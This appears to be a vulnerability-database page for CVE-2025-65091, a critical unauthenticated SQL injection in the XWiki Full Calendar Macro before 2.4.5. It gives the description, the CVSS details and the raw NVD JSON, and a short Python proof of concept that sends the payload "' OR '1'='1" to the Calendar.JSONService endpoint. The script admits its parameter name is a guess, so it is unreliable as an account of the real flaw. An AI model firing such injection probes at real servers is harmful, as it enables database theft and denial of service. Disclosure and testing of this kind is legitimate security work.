Security Vulnerability Report
中文
CVE-2025-65091 CVSS 10.0 CRITICAL

CVE-2025-65091

Published: 2026-01-10 04:16:01
Last Modified: 2026-01-29 17:27:50

Description

XWiki Full Calendar Macro displays objects from the wiki on the calendar. Prior to version 2.4.5, users with the right to view the Calendar.JSONService page (including guest users) can exploit a SQL injection vulnerability by accessing database info or starting a DoS attack. This issue has been patched in version 2.4.5.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:xwiki:full_calendar_macro:*:*:*:*:*:xwiki:*:* - VULNERABLE
XWiki Full Calendar Macro < 2.4.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-65091 SQL Injection PoC for XWiki Full Calendar Macro # Target: XWiki instance with Full Calendar Macro < 2.4.5 TARGET_URL = "http://target.com/xwiki/bin/view/Main/Calendar.JSONService" def test_sql_injection(): """Test for SQL injection vulnerability in Calendar.JSONService""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } # Basic payload to test for SQL injection # Modify the 'query' parameter based on actual parameter name payload = { 'query': "' OR '1'='1" } try: response = requests.post(TARGET_URL, data=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print("[!] Potential SQL injection detected - check response") print("Response preview:", response.text[:500]) return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-65091 SQL Injection Test") print("Target:", TARGET_URL) test_sql_injection()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65091", "sourceIdentifier": "[email protected]", "published": "2026-01-10T04:16:01.180", "lastModified": "2026-01-29T17:27:49.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "XWiki Full Calendar Macro displays objects from the wiki on the calendar. Prior to version 2.4.5, users with the right to view the Calendar.JSONService page (including guest users) can exploit a SQL injection vulnerability by accessing database info or starting a DoS attack. This issue has been patched in version 2.4.5."}, {"lang": "es", "value": "XWiki Full Calendar Macro muestra objetos de la wiki en el calendario. Antes de la versión 2.4.5, los usuarios con derecho a ver la página Calendar.JSONService (incluidos los usuarios invitados) pueden explotar una vulnerabilidad de inyección SQL al acceder a información de la base de datos o iniciar un ataque DoS. Este problema ha sido parcheado en la versión 2.4.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xwiki:full_calendar_macro:*:*:*:*:*:xwiki:*:*", "versionEndExcluding": "2.4.5", "matchCriteriaId": "EC1421C8-91F0-458A-9BCB-AC26DB09BBA7"}]}]}], "references": [{"url": "https://github.com/xwiki-contrib/macro-fullcalendar/commit/5fdcf06a05015786492fda69b4d9dea5460cc994", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/xwiki-contrib/macro-fullcalendar/security/advisories/GHSA-2g22-wg49-fgv5", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}